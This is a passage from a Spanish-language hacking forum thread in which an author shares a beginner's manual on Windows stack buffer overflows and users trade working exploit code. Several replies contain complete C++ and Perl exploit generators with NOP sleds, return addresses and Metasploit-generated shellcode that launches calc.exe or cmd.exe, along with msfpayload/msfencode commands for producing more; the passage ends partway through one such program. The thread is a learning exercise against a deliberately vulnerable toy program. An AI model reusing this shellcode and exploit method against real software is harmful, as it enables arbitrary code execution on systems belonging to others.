Bueno, pues finalmente me decidí a crear un manual de Buffer Overflow en Windows. ;-)
El manual describe de forma muy simple, con imagenes y palabras poco tecnicas, la creación y explotación de un programa vulnerable a BoF.
El manual está orientado a la gente que empieza, se explica el uso de Ollydbg, la pila, creacion de un exploit, uso y como conseguir una shellcode, como introducirla...etc.
Vamos, a mi entender, incluye lo basico y esencial para comenzar a dar los primeros pasitos en este tema.
Os dejo el Indice del documento.
CitarINTRODUCCION 2
DEBUGGER OLLY 3
Ventana de Desensamblado 4
Ventana de Registros 5
Ventana de Stack (pila) 6
OVERFLOW (EXPLICACION) 7
CREANDO UN PROGRAMA VULNERABLE 8
HACIENDO OVERFLOW 10
ENCONTRANDO EIP 13
BUSCANDO UN RETORNO 16
CREANDO UN EXPLOIT 17
EXPLOTANDO! (FUNCION OCULTA) 18
CREANDO UNA SHELLCODE 20
MODIFICANDO EL EXPLOIT 21
EXPLOTANDO! (CON SHELLCODE) 23
DESPEDIDA Y REFERENCIAS 24
Bueno, espero que le hecheis un vistazo y me comentais que tal.
Rapidshare: http://rapidshare.com/files/354973639/Buffer_Overflow_Windows_por_Ikary.pdf (http://rapidshare.com/files/347817083/Buffer_Overflow_Windows_por_Ikary.pdf)
Mediafire: http://www.mediafire.com/?mnylmt2iyzn (http://www.mediafire.com/?nydmuyywtj2)
Scribd: http://www.scribd.com/doc/27365589 (http://www.scribd.com/doc/27365589)
SkyDriver: Buffer_Overflow_Windows_por_Ikary.pdf (http://cid-4d0c9dba4e99e162.skydrive.live.com/self.aspx/.Public/papers/Heur%C3%ADstica%20y%20Explotaci%C3%B3n%20de%20vulnerabilidades/Buffer%5E_Overflow%5E_Windows%5E_por%5E_Ikary.pdf) -Anon-
Megaupload: http://www.megaupload.com/?d=9QXSPT20 (http://www.megaupload.com/?d=9QXSPT20) -peibol0.1-
Un saludo.
Joder, Rapidshare, es una *****, podrias subirlo a otro hosting, Mediafire yo que sé
Dicho y hecho :D
Thanks! Downloading...
Edit: Está Very Nice!
Cita de: Shell Root en 8 Febrero 2010, 20:03 PM
Edit: Está Very Nice!
Gracias ShellRoot ;)
Por cierto, olvidé añadir a las referencias un manual de Ollydbg muy bueno y me acavo de dar cuenta :-[
Lo pongo aqui y voy a editar el pdf.
Link: http://usuarios.multimania.es/elmundounderground/Textos/Cracking/Ollydbg.rar (http://usuarios.multimania.es/elmundounderground/Textos/Cracking/Ollydbg.rar)
Edito: Ya esta actualizado el pdf ;-)
Un saludo
Muy buen manual, de hecho, cuando lei la lista del contenido me llego un dejavu, y la verdad no supe que es lo que cambio en la matrix xD.
Muchas Gracias!!!
Saludos
He hecho un mirror en SkyDriver :¬¬ no me vean feo por favor.
Por lo menos ahí no salen pop ups
Buffer_Overflow_Windows_por_Ikary.pdf (http://cid-4d0c9dba4e99e162.skydrive.live.com/self.aspx/.Public/papers/Heur%C3%ADstica%20y%20Explotaci%C3%B3n%20de%20vulnerabilidades/Buffer%5E_Overflow%5E_Windows%5E_por%5E_Ikary.pdf)
ikary, si haces alguna otra modificacion del manual cosas que creo me avisas para reaculizar mi link xD
Cita de: Anon en 8 Febrero 2010, 23:38 PM
Muy buen manual, de hecho, cuando lei la lista del contenido me llego un dejavu, y la verdad no supe que es lo que cambio en la matrix xD
XDDDD
Gracias Anon ;D
Ahora estoy preparando todo para hacer el video y terminar de modificar algunas cosillas que me han ido diciendo por privado.
Cuando termine con el CEH intentare hacer uno parecido pero en remote :silbar:
PD: agrego tu link al post principal.
Un saludo
Bueno, aunque no uso window desde hace tiempo, vi estubo muy bien documentando, y la explicacion de las memoria igual xD.
Excelente manual para nobatos como yo :P :P
te e subido el archivo a Mega
mirror: http://www.megaupload.com/?d=9QXSPT20
Salu2
Cita de: yoyahack en 11 Febrero 2010, 02:25 AM
Bueno, aunque no uso window desde hace tiempo
El manual lo enfoqué en sistemas Windows por la poca documentacion en español que habia sobre este ataque. Además que considero muy importante conocer los metodos de explotacion no solo de un tipo especifico de SO, nunca sabes lo que te vas a encontrar durante un ataque real. Los extremos no son buenos :silbar:
Citarvi estubo muy bien documentando, y la explicacion de las memoria igual xD.
CitarExcelente manual para nobatos como yo :P:P
Gracias ^^ me alegro que le sirva de algo a alguien :D
Citarte e subido el archivo a Mega
Gracias, lo añado al post principal ^^
Un saludo
No lo leí todo, pero hasta donde iba leyendo está excelente :xD
Ikary te felicito por el tuto!! :)
y bueno despues de hacer el tutorial en mi pc no me termina de salir :-/
Lo de que aparezca la funcion oculta si me sale, pero yo metiendole mi propio payload para calc.exe sacado de metasploit no me termina de salir, te pongo el codigo y alguna foto a ver si ves algo
#include <cstdlib>
#include <iostream>
#include <fstream>
using namespace std;
int main()
{
char ret[] = "\x58\xFA\x22\x00";
char nops[] =
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90";
unsigned char shellcode[] =
"\xdb\xcd\xd9\x74\x24\xf4\x5e\x29\xc9\xb1\x33\xbf\x0f\x5a\x74"
"\xeb\x31\x7e\x17\x83\xc6\x04\x03\x71\x49\x96\x1e\x71\x85\xdf"
"\xe1\x89\x56\x80\x68\x6c\x67\x92\x0f\xe5\xda\x22\x5b\xab\xd6"
"\xc9\x09\x5f\x6c\xbf\x85\x50\xc5\x0a\xf0\x5f\xd6\xba\x3c\x33"
"\x14\xdc\xc0\x49\x49\x3e\xf8\x82\x9c\x3f\x3d\xfe\x6f\x6d\x96"
"\x75\xdd\x82\x93\xcb\xde\xa3\x73\x40\x5e\xdc\xf6\x96\x2b\x56"
"\xf8\xc6\x84\xed\xb2\xfe\xaf\xaa\x62\xff\x7c\xa9\x5f\xb6\x09"
"\x1a\x2b\x49\xd8\x52\xd4\x78\x24\x38\xeb\xb5\xa9\x40\x2b\x71"
"\x52\x37\x47\x82\xef\x40\x9c\xf9\x2b\xc4\x01\x59\xbf\x7e\xe2"
"\x58\x6c\x18\x61\x56\xd9\x6e\x2d\x7a\xdc\xa3\x45\x86\x55\x42"
"\x8a\x0f\x2d\x61\x0e\x54\xf5\x08\x17\x30\x58\x34\x47\x9c\x05"
"\x90\x03\x0e\x51\xa2\x49\x44\xa4\x26\xf4\x21\xa6\x38\xf7\x01"
"\xcf\x09\x7c\xce\x88\x95\x57\xab\x69\x67\x6a\x21\xfd\xde\x1f"
"\x08\x63\xe1\xf5\x4e\x9a\x62\xfc\x2e\x59\x7a\x75\x2b\x25\x3c"
"\x65\x41\x36\xa9\x89\xf6\x37\xf8\xe9\x99\xab\x60\xc0\x3c\x4c"
"\x02\x1c";
cout << "Creando exploit\n\n";
ofstream fichero;
fichero.open("archivo.txt");
fichero << nops << shellcode << ret ;
fichero.close();
cout << "ya esta!!!";
return 0;
}
(http://img682.imageshack.us/img682/2195/vulnerable.th.png) (http://img682.imageshack.us/i/vulnerable.png/)
El programa vulnerable es el mismo que el del tutorial, vamos que con 316 caracteres deberia llegar al EIP sin embargo...
(http://img186.imageshack.us/img186/7189/vulnerable2.th.png) (http://img186.imageshack.us/i/vulnerable2.png/)
PD. El ret es la direccion de memoria donde empieza el shell code no? Digamos que hace como un pequeño loop para ejecutarse? Saludos y gracias
PD2. 89 nops y 227 tamaño del shell code
Muchas veces las cosas cambian de un sistema a otro tanto el SP y otras cosas pueden hacer que el programa varie, también la versión del compilador y demas cosas.
Si se a leido todo el texto, solo necesitaras depurar un poco para que las cosas que estan saliendo mal se resuelvan.
Saludos
Lo sé de hecho con la funcion oculta la direccion de memoria a la que apuntaba era otra y fue la que puse y asi me salió, no lo he calcado y bueno siguiendo el tutorial si no he entendido mal habia que coger la direccion de la pila donde empieza el payload y asi lo he hecho como muestro en la imagen. La duda que tengo aparte de si se ve algun error en lo que hice, es que hay que meter el codigo de la accion que queremos lograr (payload si mal no entiendo) dentro del todo el shell code y por ultimo ponerle la direccion EIP=(ret) en el tuto de nuevo el trozo donde empieza el payload dentro del shell code con lo que queremos lograr cierto? Quiero decir que si el shell code esta compuesto de nops+payload+ret cuando ejecutamos el exploit se ejecutan los 3 y la direccion ret tiene que apuntar de nuevo al payload dentro del shell code no? Saludos
PD. Aclararme si estoy equivocado en los conceptos :P
Así es la dirección que tu pones en en tu código como RET debe de sobrescribir el ret de la función, para que cuando retorne a la función que lo llamo, retorne en su lugar a tu dirección de RET asi siempre y cuando la dirección que le pasaste apunte a uno de los nops o al primer byte del payload se ejecutara, aqui cabe mencionar que hay veces que no es necesario usar nops, es solo para tener mas pista de aterrizaje xD
Saludos
Aun no me queda muy claro el retorno, el retorno es justo la direccion a la que apunta en cuanto se produce el overflow no?la que ponemos nosostros no? la direccion de retorno del programa normal de que sirviria? Saludos
No sirve de nada, por eso se sobrescribe xD
Vale xD muchas gracias Anon por las dudas ya me voy empapando :) a ver si le pego un segundo asalto y me termina de salir lo de la calculadora. Saludos!!
descargandoo..... :) :)
ikary ahora que lo recuerdo, pudistes explotar el vulnerable mediante la linea de comando (los argumentos) ??'
Saludos
:D :D :D :D :D ...
Muy bueno ikary, buenisimo el manual,ahi termine de aprender Local BoF , para la gente que no se lleva bien con C++ , o C , aca le dejo un exploit para este programa vulnerable, que ejecuta el payload CMD , programado el perl ..
Funciona para buffer 700 , ya que cambie el 300 por 700 en el programa vulnerable C++
{
char buff[700] = "Datos";
strcpy(buff,cptr);
printf("%s\n\n",buff);
return 0;
}
EXPLOIT :
#1----------------------------------------------------------------------------
my $nopp="\x90" x 263;
my $shellcode =
"\x89\xe0\xd9\xc0\xd9\x70\xf4\x59\x49\x49\x49\x49\x49\x49" .
"\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a" .
"\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41" .
"\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42" .
"\x75\x4a\x49\x49\x6c\x4d\x38\x4d\x59\x45\x50\x47\x70\x43" .
"\x30\x45\x30\x4f\x79\x4b\x55\x46\x51\x49\x42\x50\x64\x4c" .
"\x4b\x50\x52\x50\x30\x4e\x6b\x51\x42\x44\x4c\x4c\x4b\x50" .
"\x52\x46\x74\x4e\x6b\x42\x52\x45\x78\x44\x4f\x4c\x77\x50" .
"\x4a\x46\x46\x50\x31\x49\x6f\x44\x71\x4f\x30\x4e\x4c\x47" .
"\x4c\x43\x51\x51\x6c\x44\x42\x46\x4c\x51\x30\x4f\x31\x48" .
"\x4f\x44\x4d\x47\x71\x4b\x77\x49\x72\x4a\x50\x50\x52\x51" .
"\x47\x4c\x4b\x51\x42\x46\x70\x4e\x6b\x42\x62\x47\x4c\x47" .
"\x71\x48\x50\x4c\x4b\x47\x30\x42\x58\x4d\x55\x4f\x30\x44" .
"\x34\x51\x5a\x45\x51\x48\x50\x42\x70\x4e\x6b\x43\x78\x45" .
"\x48\x4c\x4b\x50\x58\x47\x50\x47\x71\x4e\x33\x4a\x43\x47" .
"\x4c\x47\x39\x4e\x6b\x45\x64\x4c\x4b\x43\x31\x48\x56\x46" .
"\x51\x49\x6f\x44\x71\x4b\x70\x4c\x6c\x49\x51\x48\x4f\x46" .
"\x6d\x47\x71\x48\x47\x46\x58\x4d\x30\x42\x55\x48\x74\x43" .
"\x33\x51\x6d\x48\x78\x47\x4b\x43\x4d\x51\x34\x50\x75\x4d" .
"\x32\x42\x78\x4c\x4b\x42\x78\x45\x74\x45\x51\x4a\x73\x51" .
"\x76\x4e\x6b\x44\x4c\x42\x6b\x4e\x6b\x51\x48\x45\x4c\x46" .
"\x61\x4b\x63\x4c\x4b\x45\x54\x4e\x6b\x46\x61\x4a\x70\x4b" .
"\x39\x47\x34\x45\x74\x45\x74\x51\x4b\x51\x4b\x50\x61\x46" .
"\x39\x51\x4a\x42\x71\x4b\x4f\x4d\x30\x42\x78\x51\x4f\x42" .
"\x7a\x4e\x6b\x46\x72\x48\x6b\x4f\x76\x43\x6d\x43\x5a\x46" .
"\x61\x4c\x4d\x4d\x55\x4c\x79\x43\x30\x47\x70\x43\x30\x50" .
"\x50\x45\x38\x45\x61\x4c\x4b\x42\x4f\x4d\x57\x4b\x4f\x4b" .
"\x65\x4f\x4b\x49\x70\x47\x6d\x47\x5a\x45\x5a\x51\x78\x4f" .
"\x56\x4f\x65\x4f\x4d\x4f\x6d\x49\x6f\x4e\x35\x45\x6c\x47" .
"\x76\x51\x6c\x44\x4a\x4b\x30\x4b\x4b\x4b\x50\x44\x35\x43" .
"\x35\x4f\x4b\x43\x77\x46\x73\x50\x72\x42\x4f\x50\x6a\x47" .
"\x70\x51\x43\x49\x6f\x4b\x65\x45\x33\x42\x4d\x42\x44\x45" .
"\x50\x44\x4a\x41\x41";
#1---------------------------------------------------------------------------
my $exploit=$nopp.$shellcode;
my $file = "archivo.txt";
open( $FILE, ">$file" );
print $FILE $exploit;
close( $FILE );
print "Archivo.txt generado con exito,prosiga habriendo la aplicacion vulnerable.-\n"
(http://www.arribalafoto.com/public/22010/asdasdasdasd123asd.jpg)
PD : NO ANDA LA WEB DE PAYLOADS DE METASPLOIT :'(, LA TUBE QUE GENERAR DESDE EL PROGRAMA MSF.
PHAMTOM
Hola que tal H-PHAMTOM
Una preguntilla, por que cambiar el buffer de 300 a 700?
Saludos
Cita de: Anon en 16 Febrero 2010, 06:23 AM
Hola que tal H-PHAMTOM
Una preguntilla, por que cambiar el buffer de 300 a 700?
Saludos
Porque estuve viendo el manual y utilize el algoritmo de restar el numero del buffer desbordado, al size del shellcode...
shellcode = 453 size
Buffer = 716 Escribiendo eip.
716-453 = 263..
Saludos..
a ok, era eso entonces, aunque si para el calc.exe se ocupo 164 bytes por que para el cmd.exe se necesitan 453 xD, segun recuerdo para el cmd.exe se necesita un mínimo de 29 bytes o algo asi recuerdo segun el texto de rojodos que se cita en el mismo documento de ikary.
Eso de general shellcodes mediante herramientas, esta bien cuando tenemos prisa, sin embargo en etapas de aprendizaje es bueno saber de donde vienen.
Seria interesante usar esa misma shellcode que muestras sin nececidad de cambiar el tamaño del buffer del programa vulnerable
Saludos
Si voy a probar,el temá es que en la pagina de metasploit,en la parte de payloads,creo que se encuentran mejores payloads,pero como esta offline en este momento la pagina , tube que inprovisar de donde sacar una :xD,por lo que acudi a metasploit framework 3 , con el comando :
./msfpayload windows/exec CMD=cmd Raw| ./msfencode -e x86/alpha_mixed -t perl
y para la calc :
./msfpayload windows/exec CMD=calc Raw | ./msfencode -e x86/alpha_mixed -t perl
Mañana nos escribimos,me voy a ZzZ...
Saludos,PHAMTOM.-
He ikary, pues no se cual era el problema con los parámetros y el Olly, pero ya ahorita te digo que solo ocupas saber con cuantos bytes sobrescribes EIP y con eso solo ocuparías las direcciones de system y de JMP esp
Con eso he logrado ejecutar el cmd.exe. Claro que tube problemas, lo explico en el post anterior.
Gracias Anon ^^
Ya he estado mirando el otro post, voy a probar lo que dices a ver, por que la verdad es que me quedé con las ganas de sacarlo por parametros. :P
PHAMTOM:
Citarcreo que se encuentran mejores payloads
Realmente es todo lo contrario, si no, fijate en tu shellcode:
"\x89\xe0\xd9\xc0\xd9\x70\xf4\x59\x49\x49\x49\x49\x49\x49" .
"\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a" .
"\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41" .
"\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42" .
"\x75\x4a\x49\x49\x6c\x4d\x38\x4d\x59\x45\x50\x47\x70\x43" .
"\x30\x45\x30\x4f\x79\x4b\x55\x46\x51\x49\x42\x50\x64\x4c" .
"\x4b\x50\x52\x50\x30\x4e\x6b\x51\x42\x44\x4c\x4c\x4b\x50" .
"\x52\x46\x74\x4e\x6b\x42\x52\x45\x78\x44\x4f\x4c\x77\x50" .
"\x4a\x46\x46\x50\x31\x49\x6f\x44\x71\x4f\x30\x4e\x4c\x47" .
"\x4c\x43\x51\x51\x6c\x44\x42\x46\x4c\x51\x30\x4f\x31\x48" .
"\x4f\x44\x4d\x47\x71\x4b\x77\x49\x72\x4a\x50\x50\x52\x51" .
"\x47\x4c\x4b\x51\x42\x46\x70\x4e\x6b\x42\x62\x47\x4c\x47" .
"\x71\x48\x50\x4c\x4b\x47\x30\x42\x58\x4d\x55\x4f\x30\x44" .
"\x34\x51\x5a\x45\x51\x48\x50\x42\x70\x4e\x6b\x43\x78\x45" .
"\x48\x4c\x4b\x50\x58\x47\x50\x47\x71\x4e\x33\x4a\x43\x47" .
"\x4c\x47\x39\x4e\x6b\x45\x64\x4c\x4b\x43\x31\x48\x56\x46" .
"\x51\x49\x6f\x44\x71\x4b\x70\x4c\x6c\x49\x51\x48\x4f\x46" .
"\x6d\x47\x71\x48\x47\x46\x58\x4d\x30\x42\x55\x48\x74\x43" .
"\x33\x51\x6d\x48\x78\x47\x4b\x43\x4d\x51\x34\x50\x75\x4d" .
"\x32\x42\x78\x4c\x4b\x42\x78\x45\x74\x45\x51\x4a\x73\x51" .
"\x76\x4e\x6b\x44\x4c\x42\x6b\x4e\x6b\x51\x48\x45\x4c\x46" .
"\x61\x4b\x63\x4c\x4b\x45\x54\x4e\x6b\x46\x61\x4a\x70\x4b" .
"\x39\x47\x34\x45\x74\x45\x74\x51\x4b\x51\x4b\x50\x61\x46" .
"\x39\x51\x4a\x42\x71\x4b\x4f\x4d\x30\x42\x78\x51\x4f\x42" .
"\x7a\x4e\x6b\x46\x72\x48\x6b\x4f\x76\x43\x6d\x43\x5a\x46" .
"\x61\x4c\x4d\x4d\x55\x4c\x79\x43\x30\x47\x70\x43\x30\x50" .
"\x50\x45\x38\x45\x61\x4c\x4b\x42\x4f\x4d\x57\x4b\x4f\x4b" .
"\x65\x4f\x4b\x49\x70\x47\x6d\x47\x5a\x45\x5a\x51\x78\x4f" .
"\x56\x4f\x65\x4f\x4d\x4f\x6d\x49\x6f\x4e\x35\x45\x6c\x47" .
"\x76\x51\x6c\x44\x4a\x4b\x30\x4b\x4b\x4b\x50\x44\x35\x43" .
"\x35\x4f\x4b\x43\x77\x46\x73\x50\x72\x42\x4f\x50\x6a\x47" .
"\x70\x51\x43\x49\x6f\x4b\x65\x45\x33\x42\x4d\x42\x44\x45" .
"\x50\x44\x4a\x41\x41";
Y en la de Anon:
"\x55\x8B\xEC\x33\xC9\x51\x83\xEC\x04\xC6\x45\xF8\x63\xC6\x45\xF9\x6D\xC6\x45\xFA\x64\x88\x4D\xFB\x8D\x45\xF8\x50\xBB\xc7\x93\xbf\x77\xFF\xD3"
Hay demasiada diferencia para dos shellcodes que hacen lo mismo ¿no crees? ^^
Para mi manual utilicé las shellcodes de metasploit para hacerlo mas rapido, ya que el manual se basaba mas bien en el concepto de BoF que en la creacion de shellcodes (el manual de Rojodos ya lo explicaba con bastante claridad)
Te recomiendo, si no lo has echo aun, que leas el manual de Rojodos y aprendas a crear tus propias shellcodes, ya que pocas veces vas a encontrar 700 bytes en un programa explotable real.
CitarMuy bueno ikary, buenisimo el manual,ahi termine de aprender Local BoF
Gracias PHAMTOM, me alegra que te haya servido ^^
Un saludo
Buenas gente,
Solo decir que phantom la paso por un encoder, por eso le quedo ese chorizo ;D.
Cita de: PHAMTOM en 16 Febrero 2010, 07:09 AM
./msfpayload windows/exec CMD=cmd Raw| ./msfencode -e x86/alpha_mixed -t perl
Phantom, dejala asi nomas si no tenes ninguna restriccion de entrada del programa vulnerable. El unico caracter que te molesta es el null.
Muy buen manual Ikary ::).
Cita de: Ivanchuk en 16 Febrero 2010, 15:55 PM
Buenas gente,
Solo decir que phantom la paso por un encoder, por eso le quedo ese chorizo ;D.
Cita de: PHAMTOM en 16 Febrero 2010, 07:09 AM
./msfpayload windows/exec CMD=cmd Raw| ./msfencode -e x86/alpha_mixed -t perl
Phantom, dejala asi nomas si no tenes ninguna restriccion de entrada del programa vulnerable. El unico caracter que te molesta es el null.
Muy buen manual Ikary ::).
Es qué por eso mismo le hago un " encode " , por los caracteres null's.
PHAMTOM
ese alpha_mixed solo te devuelve una Shellcode Alfanumerica, por eso te sale asi.
Por lo que veo es bastante facil generar shellcodes xDD
Anon@localhost % msfpayload windows/exec CMD=cmd Raw | msfencode -a x86 -b '\x00' -t c
[*] x86/shikata_ga_nai succeeded, final size 144
unsigned char buf[] =
"\x33\xc9\xb1\x1e\xba\xb1\xfc\x90\xfb\xdd\xc1\xd9\x74\x24\xf4"
"\x5e\x31\x56\x0f\x83\xc6\x04\x03\x56\xba\x1e\x65\x07\x54\x9a"
"\x86\xf8\xa4\xa8\xc2\xc4\x2f\xd2\xc9\x4c\x2e\xc4\x59\xe3\x28"
"\x91\x01\xdc\x49\x4e\xf4\x97\x7d\x1b\x06\x46\x4c\xdb\x90\x3a"
"\x2a\x1b\xd6\x45\xf3\x56\x1a\x4b\x31\x8d\xd1\x70\xe1\x76\x1e"
"\xf2\xec\xfc\x41\xd8\xef\xe9\x18\xab\xe3\xa6\x6f\xf4\xe7\x39"
"\x9b\x80\x0b\xb1\x5a\x7c\xba\x99\x78\x86\x7f\x7e\xb0\x70\x1f"
"\xd7\xd6\xf7\x99\xe7\x9d\x48\x29\x83\xd2\x54\x9c\x18\x7a\x6d"
"\x57\xe6\xf8\xad\x0d\x47\x97\xdd\x5b\x63\x38\x76\xc3\x92\x4c"
"\x88\xa4\x95\xb6\xf6\x27\x0e\x39\xf3";
Esa también sirve son 144 bytes
Solo se usa el -e x86/alpha_mixed cuando hay un filtro alfanumérico
Saludos
ola me pasas el archivo o subelo porfa ami me interesa los atakes por overflow :(
Cita de: St3nK en 26 Marzo 2010, 04:24 AM
ola me pasas el archivo o subelo porfa ami me interesa los atakes por overflow :(
:huh: :huh:
Esta subido a varios servidores en el post principal
http://foro.elhacker.net/bugs_y_exploits/manual_buffer_overflow_en_windows-t283879.0.html;msg1401254#msg1401254 (http://foro.elhacker.net/bugs_y_exploits/manual_buffer_overflow_en_windows-t283879.0.html;msg1401254#msg1401254)
Por cierto, aprobecho ya para contaros que ya esta en marcha el manual de BoF en Remoto.
Intentaré hacerlo conjuntamente con HoF ya que local y remoto son bastante parecidos :silbar:
Un saludo
Cita de: ikary en 26 Marzo 2010, 16:54 PM
Cita de: St3nK en 26 Marzo 2010, 04:24 AM
ola me pasas el archivo o subelo porfa ami me interesa los atakes por overflow :(
:huh: :huh:
Esta subido a varios servidores en el post principal
http://foro.elhacker.net/bugs_y_exploits/manual_buffer_overflow_en_windows-t283879.0.html;msg1401254#msg1401254 (http://foro.elhacker.net/bugs_y_exploits/manual_buffer_overflow_en_windows-t283879.0.html;msg1401254#msg1401254)
Por cierto, aprobecho ya para contaros que ya esta en marcha el manual de BoF en Remoto.
Intentaré hacerlo conjuntamente con HoF ya que local y remoto son bastante parecidos :silbar:
Un saludo
Como ya te dije, lo espero con ansias corrosivas...
DATE PRISA!!!!
XD
Saludos y gracias por tus aportes
Esperando la 2da version ^^ me gusto!
Muy bueen! manual! con esto aclare varias cosas! =)...sin embargo...cuando estaba probando el codigo en el ollydbg...no visualizo el printf del "Este texto nunca deberia de haberse mostrado".....esto corresponde a la pagina 16 del manual....mi .exe lo he generado con el c++ builder 6.....no se cual es el problema...gracias...
Fijate bien, esta un poquito mas abajo del strcpy ::)
Hola, estaba haciendo el BoF con un programa vulnerable creado con VS 2010 en Win 7, y cuando intento modificar el offset lo hace, pero no siempre, la modificación es variable, y no se de que depende, alguien a logrado realizar esto en Win 7?.
A por cierto, buen manual de introducción, gracias, pero estoy pegado en lo del offset :S,
update:
!!!! Jaaaaaaaaaaaaaa :D, ahora si que salio, me faltaba algo más de practica, si es que varia no importa, por que puedes agregar varias direcciones de retorno al final de la cadena y si no cuadra, le quitas o agregas NOPs (\x90), esta forma la hice después de leer HackxCrack N°26, ;-)
Lo esoy descargando a ver que tal.
Gracias y Saludos
descargando ;D Gracias ;-)
Me tira un error Subsistema MS-DOS de 16 bits, me fije en google y ninguna de la solucion me funciono... la ultma solucion era hacer una virtual machine y correrlo con win 98(poniendole compatibilidad con Win82/ME).
Alguien sabe que tengo que hacer?.
PD: Si pudieran poner algun link de compilador C++ y Ollydbg se los agradeceria.
Hola Ikary! Creía que eras uno de los tantos usuarios que se merecen ser colaboradores que un día desaparecen y no vuelven a aparecer xD!
Hace ya tiempo encontré tu manual en Google, y creo que con decirte que gracias a tu manual aprendí a hacer buffers overflow basta para que entiendas que tu manual me ha servido muchísimo, lo califico de diez y dentro de todos los que he leído (incluyendo libros) tu manual se sitúa cómodamente en el segundo o tercer puesto. De ti he aprendido las bases de mis conocimientos sobre BoF, me has ayudado muchísimo, especialmente sobre la idea de FuncionOculta () a la que echaré mano en el taller de exploiting xD
PD: Si necesitas algo para la segunda entrega... xD
¡Un saludo y te espero ver mucho en el foro, compañero!
Sagrini
Yo tengo una duda y es la siguiente cuando sobre escribo el retorno por lo que yo quiero que se ejecute, biens ea una funcion del mismo programa o una shellcode pues me redirecciona bien y me muestra lo que quiero el problema es que despues de ejecutarlo se queda mostrando la pantalla de enviar errores y en el manual de ikary pues al final dice que sera para el siguiente manual la solucion de este problema, ya esta por hay? o alguna idea como solucionarlo?
salud2
Estoy teniendo problemas a la hora de decidir la dirección de memoria sobreescrita, a ver si me podeis echar una mano.
Mi idea es que el EIP apunte a la dirección 00 40 16 3C, asi que hago esto en mi programa.
char ret[] = "\x3c\x16\x40\x00";
también le pongo los respectivos NOPS delante. Parece que el tema va bien, pero a la hora de ejecutar el programa a hacerle el overflow, me sigue saltando el error, y me dice que el EIP en el momento del error es FF 40 16 3C, es decir, los 00 me los convierte en FF y obviamente me da un error de acceso a memoria. Sabeis por que puede ser esto?
Pongo el codigo completo del exploit...
#include <cstdlib>
#include <iostream>
#include <fstream>
using namespace std;
int main(){
char ret[] = "\x3c\x16\x40\x00";
char nops[] = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90";
cout << "Creando el exploit...\n\n";
ofstream f("archivo.txt");
f << nops << ret;
f.close();
cout << "Finalizado...\n";
getchar();
return 0;
}
Y aquí el error, en el que se ve claramente lo que explico más arriba.
(http://i55.tinypic.com/10533ht.jpg)
Muchisimas gracias por este excelente manual. Se agradece ver material de esta calidad!!
Bueno, tras estar depurándolo con el Ollydbg un buen rato, dí con la solución, aunque no sé si será lo mas agradable a la vista... Cambié el modo de escribir la dirección en el archivo creando una nueva variable de tipo 'char' en la que guardo la dirección 0x00, y posteriormente escribiéndola en el fichero.
Así quedaría el código del programa del exploit, por si alguien se encuentra con el mismo problema y le puede resultar útil.
#include <cstdlib>
#include <iostream>
#include <fstream>
using namespace std;
int main(){
unsigned char nose = 0x00;
char ret[] = "\x34\x16\x40";
char nops[] = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
